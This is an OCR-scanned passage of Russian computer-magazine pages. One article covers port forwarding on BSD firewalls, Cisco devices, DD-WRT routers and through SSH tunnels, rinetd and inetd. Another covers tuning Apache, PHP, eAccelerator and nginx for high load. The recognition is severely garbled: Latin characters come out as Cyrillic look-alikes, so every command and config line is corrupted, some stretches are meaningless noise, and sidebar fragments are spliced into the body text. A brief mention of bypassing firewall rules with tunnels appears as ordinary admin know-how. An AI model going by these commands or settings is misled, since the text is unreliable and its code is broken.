в деталях, а просто пРиведу простой пример, демонстрирующий у)ке
обсуэкдавтпийся вьттпе про6рос 80-го порта со :плюза на внрренний
сервер:
# м! /е|с/!р|ш.соп!
1:
паг 1 соп{|9 1о9 1! г11 ге5е[ 5апе_-т)огс5 \
гес|гес!'_рог[ [ср 192 .16в.0.100:80 00
,, 1 1 1 1' 1 1, .1,.1.: .1
аос па| 1 1р !гоп апу |о апу у'а г11
|!равила'па!' иметотнесколько опций, больтпинствоиз которь!хсов_
падаетс опци'!ми, используемь1ми демоном па{а. Ёапример, опция
5а[пе_рог|5 предписьтвает механизму шАт сохранять оригинальнь1е
номера исходящихпортовд-/| | исходящих пакетов (нуокнодля правтать
ной работьтнекоторьтхРР₠-протоколов). Фпция га!гес!_рог|имееттот
)ке синтаксис' что и в файле / етс /па|а.соп[.
хАквР 08 /1з9/ 10
> 12з
BemeP34 for Journal-plaza.net
п.9.'.".!!.ф!. пор'6'
@дщ
@@]@п
щ
ф.фв'.м..Фо.:
нФщфмм@ф
@ц,йффвй
ФФъ фЁ!.ф* мы. к
Фф, (фФисвд.лф.
ф;х.@. &гф ви''Ф1.
ффф&й'ш1иф
@щтфофв'#
Фхфтф.ф(фью
&'о*нфн ф ю*.'о йфф
.фФфшфр'Ф толф
д*!в'.мо*поъ1щ4 и
(ня'ь отвт0 ( хфм &л*ь
пфф о'.* ь! с!. ь 0еа|ф124
|ф_
!ф
]ф_
1ю
оРЁ}{в50
Ёаверное, самьтйлогияньтй и простой в настройке проброс портов
по"гцнается в Ф₠ Фреп85).3десь механизм \А1та|оке реализован в
ядре и настраивается с помощь}о пттатного р[, синтаксис которого куда
яснее и продш4аннее синтаксиса !рЁш и, рк тем более, 1р1аь1е5. все тот)ке
проброс 80_го порта на язьтке р[6удет вьтглядеть о'1ед1.тощим образом:
# у! /е!с/р!.соп|
]+ .]астра'.-ае}{ ]];'.
па[ оп г11 !гоп 192 .168.10 .0 /24 со апу > $ош|_|р
11 | 1.:с''; 1;,:; ; ;,,: г:; : ] 1] )ог]}]()с 1 !()|,'1.() ь
гог оп г11 1пе[ рго[о { [ср, ш6р } !гопапу \
[о $ош[_|р рог| 80 -> 192.16в.0. !00
(ак и пре:кде, г[1 - внетпний интерфейс ттиюза, 192.168.0.100 - адрес
внутреннего сервеРа, а о11{_!Р-адрес вне1пнего интерфейса лшлтоза.
|!ри этом, если пробросдоля{ен 6ь1ть сделан на порц отличнь!й от 80_го'
достаточно простодо6авить ключевое слово <рог|) и числовое значение
вконецпервогоправ| !а.
Разретпается исполь3ованиедиапазонов поРтов' ес_ди' конечноже' оно
мо)кет иметь какой_то смьгсл:
г6г оп г11 |пе[ рго[о { [ср, цор } {гоп апу \
|о $оц[_|р рог[ 5000:10000 -> 192. 16в.0. ] 00
[!рим. ред.: ЁапримеР, спомощьюэтой финиудобноразрешатьпрохо}к-
дение трафика Б|поггеп!:
г0г оп $ех!_|! |пе| рго[о [ср 'гоп апу [о $ех[_|! \
рог|. 6вв1:6069 -> $пуьо5[ рог| 6881:6689
разз |п чш'ск оп $ехг_|' |пе[ ргосо |ср ггоп апу \
|о $пуьо3г' рог[ 6880 >< 6890 кеер 5сасе
(ак и в дрщих рассмотРеннь1х ранее брандмауэрах' принятие ре1пени'1
одальней!!ей судьбе пакетов возлагается на пРавила филыграции, нерез
которьте пакет6удет пропуцену'ке после перенапРавления. но есть
одно ма-,1енькое исключение: используя ключевое слово <ра55) совмест-
Автопдатический
пРобРоспортов
0п|тегса1Р1ш3ап( Р1ау ((}РпР) _технология, пРизванная
!п|ростить и автомати3иРовать пРоцесс общения сетевьтх ус_
тройств и прилоэкений меяс'щгсобой. поддер)кивается почти
л:обь:м современпь|1и сетевьпм оборудование111' в}с7|к)чает в
себя механи3м авто1иатическото пРоброса портов в ещд|ае
необходимости. тот )ке механи3м Реа]1изован во мног:тх фай_
Бйй- .. пэ
!Б!фй-'< ,;'*ф
<: фмщ
! г.ф р о-с_цо рто в в п о пул я р н о м до м а ш н е м р оуте ре
0-|-]п]< 0|п-з0о
но справттлом г0г мо:кнодобиться такого поведени'1 системь1' когда
пакетьт 6удщотпускатьс'т во внетпний мир, минуя правила фгтльтрации
(см. скринтпот"Форвардим входящие запросьг на сервер теРминалов и
5![-сервер"). 3таособенностьмоятетбьттьиспользованад]ш{ отладки
прав!4п.
Будь внимателен, в Фреп85) 4.7 синтаксис конфига несколько
изменился:
ра55 ошс оп г11 |!оп 192.168.о-о/24 [о апу \
па|_[о $оц[_|р
разз |п оп г11 рго[о:со .гот апу го апу \
рог| 80 гаг_'.о 192. ]68.0. ]00
с!5со
₠ моей стороньл бьшто бьт кощуттством не расска3ать про настройь1:
про6росапортов спомощьюсетевогооборудованиянебезьтзвестной
компании (1зсо. Благо, здесь все ретлается одной простой строкой,
которФ1' тем не менее, будетразнойдля разлинньтхтипов устройств.
Ёапример, проброс портов в (1зсо Р!х (Рг1уа!е ]п{егпе1 Бхс}тап3е) или
А5А (А0арг1ме 5есшг1цАрр1!апсе) осуществ]1 !ется с помощьто следулощей
строки конфиграции:
5[а||с (|п516е,ош|з10е) |ср 1.2.з.4 1ф{{ \
|92.768. 0. 100 шт песпа5к 255.255.255.255
Б тоже времяд,тя оборудования, работатощего на операционной систе-
ме (1зсо 1Ф5, строка будетвьтглядетьтак:
|р па! |пв|с1е 5оцгсе 5[а||с |ср 192.168.0.10о 80 \
1 .2 . з.4 в0
Фбе они недепа1отничего кроме проброса порта 80 на сервер
192.163.0.100дтя клиента с адресом 1.2.з.4. при этом если нео6ходимо
настроить про6рос всех портов, достаточно пРосто ощ/стить номера,/
имена портов в строке конфигурации.
0РЁшшпти 00-шпт
(оненно эке, кроме о6орудования именитой ₠|зсо на рь|нке существуют
и гораздо менеедорогостоящие регпения вроде разного родадома|пних
рошеров и точекдосцгпа. Больтпой пощ:лярность1о среди них польз}.!от-
ся ультра_бтод:кетнь!е сетевь1е устройства таких компаний, как )_[!п['
А50$, 11п[зуз идр}тих. на многих из них можноустановить свободньте
и более продвинугь1е про|пивки вроде орепшг|, х-\{г|и }}_тлтг' которьте
отлича:отся более развитой системой настройки и хоро1пим комьюни-
Ёастраиваем проброс портов в 00_шг{
лообменнь[х пРогРа1имах.
> 124
хАк:Р 08 /]з97 10
BemeP34 for Journal-plaza.net
# нттР' нттР5
г6г оп $ех{1{ рго{о
г0г оп $ех{1{ рго|о
|ср {гоп апу
{ср 1гоп апу
{о апу рог|
{о апу рог{
# 55н
г0г оп $ех{!{ рго{о {ср 1гоп апу
# 1оггеп{
г0г оп $ех{1{ рго{о {ср {гоп апу
0реп850, р[ и 1',!А1
ти. встественно, проброс портовлегко вь!полнитьи с ихпомощь1о.
Б ))-\л{'гс проброс портов осуществ'! |ется с помощь|олок:ши3ованного
веб-интерфейса. 9тобьхнастроитьпро6роспоописаннойвьлтпе схеме,
достаточно открьтть ве6-интерфейс рорера (192.168.1.1), перейти на
вкладку "шАт/0о5,, да-}1ее - в|спадка.|!еренаправление портов). те-
перь в поле "||рттло)кение) пип]емлюбое удобноедлянас им'1' например'
.ш!уш,, (порт-источник> - внетпний порт рощера, .протокол' - тсР
ттли 0)Р, .|Р-ддреФ- а{(рес внутРеннего сеРвеРа, "|!орт-приемник" -
его поРт. далее вьтбираем галонку"Бключить", жтием кнопку".{оба-
вить>, потом _ кнопку "||рименить".
3то действительно простой щ,ть, которьтй. .. не сра6отаетдпя 6ольтшинс-
тва российских проваферов, преАостав./|']}ощих какдосц-тт клокальной
сети (прямой), так идосц/п к сети интернет (нерез9Р]',1/РР1Р). Аело в
том, нтодобавленное таким образом правтало 6уАет применено квне1п-
нему физинескому интерфейсу, тогда как интерфейс ррр0, используе-
мьтйдля вьтхода в интеРнетчерезуРш/РРтц останется не приделах.
для Ре1!ения про6лемьт моэкно восполь3оватьФ| пРямь1м вме|пательс-
твом в недра )}-шг{. открь|ваем вклад|9(тех.о6слР{(ивание'' да.'тее -
"(омандьг, и набираем стандартньте правила |ртаБ1ез:
;р[аь1е5 -с пас _А РРвРо1]т]шс -р сср -| ррр0 \
__орогс 80 -] ошАт _-со ]92.168.0.100: 60
Ёаэкимаем "(охр. 6ратцмауэр" и пере3агрРкаемся. Ёенамного труднее
вь1полнить эц операци|о с помощьто веб-интерфейса протпивок !-\{г|,
представ'ш|ющих собой, по супа, 6олее тозабельньтй вариант Фреп!!гг.
}(мем на (ше|1\'ог[", затем "Р!гетша1Б,, вьт6ираем в меню "1',1етш &ц1е" гщ:кт
(Роги/ага' и на)кимаем "А00"- 3апись!ваем в поле (.Богтшаг6 1о" 1Р-адрес
внутреннего сервера, в поле.Рог|> помещаем номер пробрась:ваемого
порта. в вь1падающем меню вьтбираем щпткт "Рго[осоБ, и нашсимаем
"А46", в появив:шемся менто вь:бираем протокол:1сР шт|и ш)Р. всли порц
|о апу рог{ ${оггеп{
открьлтьлй на ш:лю3е, дол)кен отличаться от порта в1гутреннего сеРвера,
вьлбираем в вьлпада]ощем мен}о щ/нкт ")ев!паг|оп Рог!5), полу{аем одно_
именное поле и вводим в него номер порта. Ёа:кимаем кнопку.5аме".
1ого :ке эффекта мо)кно достичь' отРедактиРовав конфиграционньтй
ф айл / етс / соп[187[!гетпа11 следующим о6разом :
гогшаго : рго[о=[ср арог[=в0 : 192 . 168. 0 . 100 : 80
дРугивподходь!
фя осуществления про6роса порта совсем необя3атепьно использовать
брандмауэрьт ттли системнь|едемонь1, как, например, этого тре6у:от
старьге версии ггеев5). существует несколько других способов сделать
это с помощь|о специа]|изиРованного софта ттли стандаРтнь1х инстру-
ментов Ф( (кто знает, возмо)*(но' ть1 используе1шь й1пй в качестве Ф(
для тлтлтоза :)). Фдин изтакихинструълентов-5$Ё. !алеко не ка.экдь:й
системньтй администратор в щ?се, нто проброс портаявл'{ется стан-
дартной ф1тткцией этой программьт. 8озьмем, к примеру' след}']о|1що
сицацито. влокальной сети, закрьттой от внелпней сети 1.{А1'ом, есть
сеРвер, к которомутебе необходимо иметь досц/п. (ицация усщуб_
,т|ется тем, чтоть! не имее1пьпривилетийддянастройки файервола на
ма!1]ине-|]'11озе. 3ато у тебя есть доступ к 5$Ё-серверу, работатощетшу
наэтом шл}озе. какэто мо)кетпомонь? Ёа самомделе очень сильно. 1ьл
просто вь1полн'1е!пь след}'ю1цу|о коматщу на уда]1енной матпине (зегтег_
1Р-адресвн}треннегосеРвера' 3агеттау-!р-алрес шлтоза):
$ 55ь -| 80в0:<5егуег !р>:80 шэег@<9асешау_|р>
14 вуаля, порт 8080локальной ма|пинь1 становится портом 80 внррен-
него сервеРалокалки. теперьдостатонно на6рать в ве6-6раузере адрес
!оса!Бозг:8080, ить1попаде1пьцда, куданадо. 1вой5$Ё-клиентсоздаст
тртнель с 5$Б-сервером |]]-/|тоза' все передаваемь|е в рамках которого
данньте будщ напРавлень| на поРт 80 в:тщреннего сервера.
Более радикальньгй способ -установка софта, специ:у1ьно созданного
д1я очпцествления проброса портов. Фдна из таких пРограмм носит
имя г|пет0 и представ.гляет собой вь|сокопроизводительньтй сервер,
позволяющий пробрасьтватьлюбоеколичествосоединений. Фн есть
в пакет.1хдля популярньтх [!пшх- дистри6утивови портах 85)-систем.
||осле его установки достаточно отредактиРовать файт /егс7г1пег6.соп[
(/ увт /|оса!/ егс/г!пет4.соп0, поместив цда строки спч1уощего в}ца:
1.2.з.4 в0 192.16в.0.100 в0
|,1 (пере)загустить сервер коматцой:
$ вц0о,/егс/1п]!.6/г]'пе[о геэсагь
в1_]Бцпштт.:ти:
м входящие запрось! на сервер термина-
лов и 50]--сервер
хАквР 08 /1з9, 10 > 125
BemeP34 for Journal-plaza.net
Б!гетма!| ₠оп[!9шга[!оп
Б!геига!! Рц!ез
йа|с["т
ЁгоЁосо[: г6р
}ез|!па[!оп Рог[з: 443
[аг9е| Рог|
192,168,1.12 22
9т:ллита ртплпа[ (||!р : //загпу.р|1 руупа| 1) позволяет л:обо:ш!г
количеству }с'|иентов' находящихся за одним шАт-сеРвером,
соеди|{ятьея с сеРвеРо1и' которьтй стоит за другим шАт, пРи_
че:и никакой проброски портов на серверах не потре6уется.
[{лиент моэкет под1с'|к)чаться нерез такой сервер к л:обьтм ре.
с5рсап:, ли6о только к те1\{' что ограничень| серверо1|{ р!1па1.
вот так 1ио)кно обеспечить 'с'|иентско1ш5/ хосц/ !92.168.о.2
пощгяение }{131п1) на лтобо:ш е}оп[еу-сервере:
# м! /е!с/р!.соп{
|-.]р Ё6!|
0ошп }е!е[е
|-!роброс портов в [т/]п6отшз 2о0з 5егуег
если в твоей системе исполь3уется более новьтй х1пе|6, тьт все равно
може!пь использовать этот фай) идобавляем в него строку след}.к)ще_
го вида:
порт1 Б|геап сср по\{а;[ гоо| /ш5г/1оса1/ь1п/5оске|
зос]<е[ 192 .158.0.100 порт2
3десь порт1 -это прослу11]иваемьтй портна ма:пине_т:глгозе, а порт2-
порт назначения на внрренней машине 192.166.0.100. [|ри этом оба
они долхсньт бьлть заданьт в форме имени сл)дл<бьт ('штштп, [ср и т.д.), если
эке таковой не имеется (тьт вьтбрал произвольнь1й порт), то ее необходи_
модобавить в файл /е\с/5егч1се8.
{алее мотсно перезагрузить |пег4 командой "Ё|1 -Ё|)Р" и наслаяцаться
результатом. Ёсли)ке его нет, то смотрим в файп,/е|с7ьо5|5.а11о\^;. доступ
к слркбедол>кен бь:ть открь:т.
вь!водь!
несмотря на вь1бранньтйдля статьи примеР с пРо6росом порта вло-
кальну|о сеть' у технологии }].{А1 есть мно)кество Арщих применений,
вклточа'1 создание 6олее удобного способадосц.тта кудаленной ма:шине,
обход правгтл брандмауэра }.г]|и просто обман. 8лтобом слщае, проброс
портов остается оненьудобной илегкой в реализации и применении
технологией, котора'1 мо)кетоказаться полезной влтобой момент. 33
шпР_тш1нель меж{ду
двупля\Ат
г6г разэ о! $ех[_'! ]пе|. рго|о |ср
|с апу рог[ 4661 _> 192 -168.о.2
г0г раээ оп $ех[_|' 1пе[ рго|о гср
[о апу рогс 4662 -> 192.\6в.о.2
гаг ра55 оп $ехь_|! |пе|' ргого шор
|о апу рогг 4665 -> 192 -|68 -о.2
г0г разз оп $ех[ '' ;пе| ргого шор
[о апу рог|' 4672 > 192.16в.о.2
1гоп апу
1гоп апу \
!гоп алу \
1гоп апу \
\ечм Рш|е. [Бйй!!доо|
[!роброс портов в [-\^/г|
# /цэг,/1оса1 /евс/гс. а/г]пега Бгагг
во РгееБ$). 1акже во Ргее85) приАется активировать защ'ск г|пет6 при
старте:
+ есио ''г]пе|а_епаь1е-''ув5'' '' >> /егс/гс.сопг
[]осле этого весь трафик, притпедший на порт 80 м атлиньт 1.2.3.4, 6у дет
автоматически перенаправлен натот)ке порт матпинь: с !Р-адресоп:
192.168.0.100.
Ф дин из излнэ6ленньтх способов проброса портов среди 1-)}'11{-адпти-
нистраторов 3аключается в использовании ути]!ить: зос[е! совместно с
сетевь|п1 супер-сервером 1пес0. (ак и все гениальное, идея в этом слу{ае
проста' а реали3ация оневидна. Фткрьтваем файл /етс7!пег0.соп[ (даэке
]ом
> 126
хАк₠Р 08 /] з97 ] 0
BemeP34 for Journal-plaza.net
неспасовать
!у
передлавпноп
подг0тАвл и вАЁм вЁБ-сЁРвЁР к вь!с0ки м нАгРу3кАм
[1опулярность веб-страниць| _ нетолько благо, но и дополнительная головная
боль сисадмина. 3озрастая, поток посетителей создаетбольшую нагрузку на
сервер, которь:й со временем перестаетсправляться со своими обязаннос-
тями. 3 этот м о м е нт вста ет в о п рос 0 п о куп ке хел еза, кото р ь: й, те м н е м е н ее,
мохно отложитьдолучших времен. [:1з этой статьи ть!узнаешь, какзаставить
се р вер в ь!дерхи вать на груз ки дахе то гда' ко гда о н отказь! ва ется это делать.
Бппи(.тп
] ] гвгений зобнин !1п@5упас&.г0
попу]|ярность веб-страницьт - не только благо, но и дополнительна |
головная 6оль сисадмина. 8озраста'1, потокпосетитепей создает все
больпгро нагрузкуна сеРвеР' которьтй со временем просто перестает
справл']ться со своими обязанностями. в этотмомент встает вопрос о по-
ч/пке )келеза, которьгй, тем не менее, мо)кно отло)китьдо'тг{|1]их вРемен'
7з этой статьи ть| у3нае1дь, как 3аставить сервер вьцерх(ивать нагРузки
дФке тогда' когда он отказь1вается это де'|ать.
допустим, тьт имее|шь в своем распоря.:кении ве6-сервер' на котоРом
крупатся более_менее посещаемьтй динаминестсай веб-сайт, созданньлй
на базе одной из РЁР'тпньлх ₠]\45 . 8 о6щем, самая типична'| д'['| современ-
ного рунета сицацття. (айтразвивается, растеъ посетителей становится
все больтше, и ть1 начинае1пь 3амечать постепенно во3раста|ощие задер)к-
кив скорости отдачи контента. простейтпиезамерь1 пока3ь1ва1оц что
серверуя{е не справ.,1яется с возложеннь1ми на него задачами' и в голову
начина|отзакрадь!ватьФ| порочнь!е мь!с/!и о поц'пке>келеза (аренде бо-
лее мощного вирцального сеРвера). Ёоспетшгггьне стоит, в 6ольптинстве
слу{аев сицацию легко обратить в свою поль3у.
3тастатья расскаэкеттебе отом, какогтими3ироватъ сервер и клиент-
скуто часть веб-сайта под вьлсокую нагрузку. 8 ходе обсу;кдения мьл
затронем следующие темь1 :
. ФптимизацияАРас[:е;
. ФггпамизацияРЁР;
. }стаяовка еАссе1ега!ог;
о }становка 1х181пх в канестве фронт-этца;
. }становка ]\/[егпсасБе4;
. [(лиентская оггп,:миза1!ия.
оптимиз^цияАРАснЁ
}(орневой компонент 6ольплинства современнь!х веб-сайтов - это,
коненно:ке, Арас[:е. Фн зарекомендовал себя как наи6олее функциональ-
нь:й, ста6ттльньт й иудо6ньтй в исполь3овании нттР-сервер' которьлй
моя{но исполь3овать как для обетукивания доматпней веб-сщаницьт,
так и для вь|соконагрРкеннь1х корпоРативнь1хинтернет-проектов. Фдна
проблема: АрасБе-очень тя)кепое пр||]1о}(ение, жадное до ресурсов сер-
вера. }4 этодо:окно бь:ть уттено при его настройке. 8от список рекомен-
дадий, которыещ/ч!пе вь1полнять при подготовке }{11Р-сервера к ра6оте:
. львиная доля функционала АрасБе вынесена в загрРкаемые модули'
которь1е мо}(но активировать т'|и откл}очить щ/тем рч1актиРовани'1
конфиграционного файла (директива ]-оа4йо0ш1е). [оротпей практи-
кой яв.гтяется тотальное отключение всех неиспользуемьлх мощлей, нто
позволит повь|сить производительность сервера и сохранить оператив-
ную пам'тть.
. Арас}ле обрабатьтвает ка;кдьтй новь:й запрос в со6ственном потоке
исполнен|т! и позво./!'1ет исполь3овать разнь1е подходь1 для вь1полнения
этой операции. Бслитьл собиралАрасБе2 из исходников' то могзаметить'
нто в опциях с6ор]с.! присутствует возмо)кность вьт6ора так назьтваемого
мРм. это и есть модуль мульти-процессинга (\4ш1г1-ргосевз!п3 гпо0ш1е),
используемьтй для распара.'1]1епивания Ё11Р_сервера. 8сего их сущест_
вуеттри:
1. рге[ог[- классичестстй йРй, реализующий модепь мульти-про-
цессинга' используептуо вАрас[:е 1.3. }ёэкдьтй потокобрабать:вается в
отдельном процессе. Ёе салльтй производитепьнь!й варианц но наиболее
стабгапьнь:й. йспользуется по ),,1\{олчанию.
2. !1'огкег-мРм, основанньтй на потоках. (ервер порождает несколько
процессов, по несколько потоков в каэкдом. Фдин запрос- один поток.
|1роизводительнее рге[ог[, но менее стабта'пен.
3. еуеп(- собь1тийньлй 1!1Р\4. 8место потоков запросьл обрабатьлватотся,
используя собьттийнуто модель, похоэ*(ую нату' что приметтяется в п3!пх.
Ёаиболее производительньтй 1\:[Рй, но и наименее ста6ттльнь:й (находит-
Ф| в экспериментальной стадии разработки).
\4ногие дистрибутивь1 позво]ш|1от устанав',тивать разнь|е варианть!
Арас[:е, разлина_тощиеся исполь3уемь:м йР\4, ихлегко мо:кно найти в
репозитории по запросу "арасБе2-гпртп".
. Арас}:е позволяет контродировать максимаш|ьное коли!|ество поро)+(-
даемьп( потоков с помощь}о опции йах₠1|ептв. Ёе стоитустанавливать
ее 3начение сли11]ком боль:пим, иначе в опРе;1е,|енньтй момеггтсервер
иФ!ерпает вс1о опеРативгщо пам'|ть, начнет свопить, и необс-пркенньтми
останутФ1 гораздо больтпе клиентов, нем бьгго бьл при задании жесткого
огранинения. Фптим:у1ьнь|м считаетФ| значение, Рашное количеству
пам'|ти' досц/пной Арас[:е, поделенное на максимальньтй размер поро:к-
денного потока (проверяется с помощью рз тт.лли гор).
. каки многиедР}тие нттР-серверьт, Арас}ле позволяет контРолироватъ
дпительность удер)|₠ни'! соч]инений типа [еер-а1!те, используемьтх
д]ш' пеРедачи нескольких запросов,/ответов в Рамках одного соедине-
ния. (еер-а1|те позвол'{етэкономитъ ресурсь| сервера, не вь|щпкда'| его
со3давать отдельньгй поток на ка_ткдую картинц, ₠55 и прочие элементы
страниць:. Фднако сли1пком долго такое соединение держать откРь!ть1м
не стоиц потош[у как на это то)ке ),ходят ресрсь:. }орогшим значением
хАкБР 08 /1 з97 1 0
> 127
BemeP34 for Journal-plaza.net
,.'.
ф
]
.{,
.\ ''^,
'уь
]о'
,1
|{
[
{|
.}
.*Б..,
}
,[
|
..,[
,}
д|'
| '. |
!{#"
{
шш'пш$шп$
--
д
поэтому мь| применим инстрр4ент под названием еАссе|ега{оц которьтй
скомп| 1ируетисходньте текстьт РЁР вдвоинное пРедстав]|ение, оптими-
зируетих и 6удет6ережно хранить в оперативнойламятиддя6олее бьтст-
рого досцпа. Благодаря только этому скорость обработки РЁР-скриптов
вь|растет в деФ|тки раз (подтверэкдено тестами).
[]акета еАссе1ега!ог нет в репозитори'1х пощ/л'|Рнь:хдистрибщивов,
поэтому его придется собрать самостоятельно. (нач[у1а устанавливаем
необходимьте для сборки щ;алитьт :
:ч,
у.
опции |(еерА|те11тпеошт 6удет5-10 сецпц' принем] если все зависимь1е
компоненть1 страниць1 отда1отся клиенц отдег[ьнь|ми сервеРами' а теч_
щий сервер используется толькодпя отдачи Ё1\4[7РЁР, необходимость
поддер>кки [еер-а11те отпадает вовсе' и значение опции (еерА1[ме лрш:е
установитьвФ$.
. АрасБенелтобитокатие. Бслитьтре!мл'ъел|т1|!тьскоростьотдачи стра_
ницс помопф]о Фкатия,то имейввиду,что, скорее всего' оно создастеще
больштро нагрузц на сервер. Ёспи :ке окатие действтттельно нео6ходимо
(наприп:ер, дтя мобттпьного портала, основной поток клиентов которого
используетканал 6Р&5), то усганавливай коэффищтент окаттт| минима_/|ь-
нь1м' это приведетли1пь кне3начительно1шуросц объема результирующих
данньж' зато позволит тщественно сэкономитъ речрсь! сервера.
оптимизАция РнР
3анастуо наибольш₠!'| нагрузка создается вовсе не Ё11Р-сервером, а ин-
теРпРетатором язь!ка пРогРаммировани'|, используемого д./1'1 со3дани'!
динамического содержимого веб-сайта. ₠егодня наиболее популярньтм
язь|ком д.[1'{ серверного ве6-сщиптинга яышетФ| РЁР' поэтому именно
е1шумь|уде_/1им внимание в на|шей статье. Фткрьтв аем файл / етс / р!тр5 /
арас}:е27р}тр.1п! (ггщьди |[Бшпш, вдругихдистри6щивах моэкет бьтть
иньтм) и редактируем следующие стРоки:
. гпегпот_1!гп1т-лимит на съедаемго при генерации веб-страницьт
память. перед изменением этого параметра рекомендуетФ1 вь|полнить
соответству|ощие замерь| и основь1вать значение у'ке на их результатах.
. 0|зр1ау_еггогз : Ф[[, еггог_|о3 = 7таг /|о3/рБр-леренаправлять сооб_
щения о6 ошибкахв [о9-файл. 8клтонай этотпараметртогда' когда все
скриптьт 6уд;п полностью отлФкень|.
. т-:р1оаа_гпах_[1[ез[ае и розс_гпах_з|ае - максимальньтй размер загружае-
мьтх файов и РФ$1-запросов. Фглятъ )ке' 3начение дол:кно бьтть вьт6рано
исходя из потребностей твоего веб-пртт-гтожения.
1еперь мо:кно закрьтть файл и вьтполнить глубокуто оптими3аци}о с помо_
щью РРР-ускоритотя.
устАновкА вАссв!.ЁпАтоп
РЁР-язьтк интерпретируемьлй. 3то знаниц вто ка_:кдьтй раз, когда
происходит вь|3ов скрипта на этом язь1ке' 3ащ/скается РЁР_интерпре_
татор, которьлй проводитполньтй ана-'тиз исходного кода. [!ринем, если
спустя сек}нду произофет второй защ:ск того ясе скрипта, вся процед}ра
будет повторена заново. 3то нерацион;|_.|ьное использование ресрсов,
$ 5шсо ар[_9е[ |пз|а11 рьр5_оеу ьц|1о е55епс1а]
.{алее пощнаем исходнь1е текстьт еАссе1ега1ог:
$ со /[пр/
$ тт9е[ Б| [р: /,/Баг[.еассе1ега[ог.пе[/5оцгсе/0
еассе1ега[ог_0 . 9. 6 . 1. саг. ь22
$ |аг ху]! еассе_!егасог-о -9. 6.1.сат .ь72
$ с0 еассе1ега|.ог_0.9. 6. 1
$ р|р|:е
$ ./соп!|9шге __епаб1е еассе1ега|ог-5ьагео
$ па1<е
$ 5ц6о паке ]п5[а11
₠оздаем каталог д1'1 хранени'т кэ1па:
$ зш0о п]<ё|г -р /уаг/сасье/еассе1егасог
$ 5!ао сьпоо о']1'/ /уа(/сасье7еассе1егасог
\/
!4, наконец, подключаем еАссе1егагогкРЁР (до6авить в нанало файла):
# у1 /е!с/р}:р5/арасБе2/рБр.!п!
|РнР]
; ]_0/1'{:]10.|.1(]1: |)ас!]]!)е}1]:!-
ехсеп5|оп -''еассе1ега[ог. 5о"
еассе1ега|ог-епаь1е =''1''
; !.:,'| !| (],]!].]'1 !'] ]!.]й :;.: :з; :с-;, !] ]с!|1 ) |]( )] (]
еассе1ега|ог. 5ьп_з|2е -'' 64''
; |..]':'а;]с)] ]1п'] х| ];]1:с1]11'] !:'111.;]
еассе1ега|ог.сасье о|г = ",/уаг7сасье/еассе1ега|ог''
> 128 хАк:Р 08 /]39/ 10
BemeP34 for Journal-plaza.net
' 1п@]
Ёор:-$ ар{-сасье 5еагсь арасье2 | 9гер прп
2-прп-еуеп1 " Арасье нттР 5егуег - еуеп{ 6г].уеп по6е1
-рге'огк - АРасье нттР 5егуег - 1гаа{{!опа1 поп'{ьгеааеа поёе1
-прп-шог[ег - Арасье нттР 5егмег - [:!9| 5рееё !ьгеаае6 поае1
2-прп-!!к - п!1{|ц5ег нРм {ог Арасье 2.2
!п - ае5к{ор: -$
АрасБе с различнь!ми йРй-модулями в шьцп1ц
Ёастраиваем [п|9!пх
; включаем оптимизатор кода
еассе1ега[ог.ор[|п!7ег = "1"
; перекомпилировать молифицирова!]нь|е скрипть!
еассе]етасог.сьеск_п[1пе =''1''
; отключаем режим о'гладки
еассе1ега|ог.ёе5ш9 = "6"
; кэшировать все файльт (пусто,-4 фиттьтр)
еассе1егасот. |'1|ег = "''
,. неограниченнь]й размер кэша в памяти
еассе1егавог. 5}ш-пах = "0"
; в случае отсутствия места в кэше удалять объектьт старше
1 часа (3600 секунд)
еассе1егасог. 5гш_[с1 = "3б00"
еассе1ега!ог. 5ьп--ргппе--рег]о6 ='' 0 "
; кэшировать даннь|е и в памяти, и на диске
еассе1егасог.5гл-оп1у = "0'
; сжимать кэшированнь]е даннь|е с максимальнш уров}.ем ко!1-
прессии
еассе1егасог. сопрге35 = " 1'
еассе_[егас,ог.сопрге55_]еуе_| = "9''
устАновкАшо]шх
Будг{и погулярньгм, больтпой динамический веб-сайт может создать та-
кую нагРу3куна сервер, нто АрасБе начнет"захле6ьтваться и гиеваться".
Балансировка
Роцп6 гоБ|п !1\|$ _ одип из самь|х пРость!х видов баланси'
ровки пац'у3ки. ддя ее Реализации достаточно присвоить
|Р-адРеса двух или более серверов одно1шудопденно1ш![ипдени.
@днако, есть и с)пцественяь!й мищлсз если одип из сеРвеРов
вьпфет из строя' часть к'|иептов все равно 6удгт отправленьл
кне1шу.
еАссе!егаЁог
еасФ!ё.а{ог.а!!оше6 аап!п ра[ь ю уал!е
ю уа|!]е
еассё!ёга|ог.Фсьэ а!г [пр/еассе!ев[ог |п!/оассе!еъ|ог
еассе!9га|ог.сьеск п!!пе ]
)асф|ога[о!.сопрге56
1 1
}[а[опФпрг995 !еу₠| 9
!ассо!ега!оп66ьц9 1
!
!ассе!ога{ог.впаь!о 1
!ассе!эга!оп{||1е!
ф уа!це ю уал!ё
:асФ!ега[оп!о9_[!|е ю уыце ю 9ы!е
зассе!ега|ог.папе 3расе
ю уал!ё 1о уё!@
рБр!п{о[| для еАссе[ега|ог
и дело т}т дая{е не в том' что железо не позвол'!ет, а в тя)келовесности са-
мого Ё11Р-сервера. Арас[ле отлично подходитд1 | отдачи динамического
контента, однако больтшая часть современньтх веб-страниц так т 1и иначе
состоит и3 статики, и использоватьди их отдачи мощньтй, слохсньтй и
очень тяэкепьхй Ё11Р-сервер бьтпо бьт так :ке гщлпо, к3|к е3дитъ на ве3дехо_
де по дорогам швейцарии. 1!1ьт воспользуемФ| легковесньтм Ё11Р_серве-
ром \3|пхрш разгрузки Арас}:е и его осво6охцения отнеблагодарного
заттятия отдапей статического контегта' 8 отлгтчие отАрас}те, !х13[пх
использует собьттийттуо модепь обработки запросов, блатодаря нему на
любое количество клиентов требуется всего один процесс Ё11Р-сеРвера.
3то срдественно сни)кает нагрузку на )*(е-'!езо' но со3дает опРч1епеннь]е
проблемь: при о6ра6откединамического контента (именно поэтотшуего
не исполь3утот в качестве основного Ё11Р-сервера) . Ф6ьтнно |',!3|гш уста-
навлива|от на вьцеленгщо ма1пину' котор{1я смотрит во внешн1о1о сеть
и вь1стщает в качестве первого чекпоинта на щ/ти с.|едован|б| запросов'
однакодогустим и вариант с одним физивеским сервером, когдаАрасБе
и |х16|гтх кррятся на одной мап:ине. Фстановимся на нем. Фткрьгваем
файл / егс / арас\'ле2/ ротгз.соп[ и измен'|емдве опции:
шапеу]г!ца1нов[ *:81
!15геп 81
далее устанавливаем \[3|пх:
$ 5))оо арс_9е[ !пзса11 п9!пх
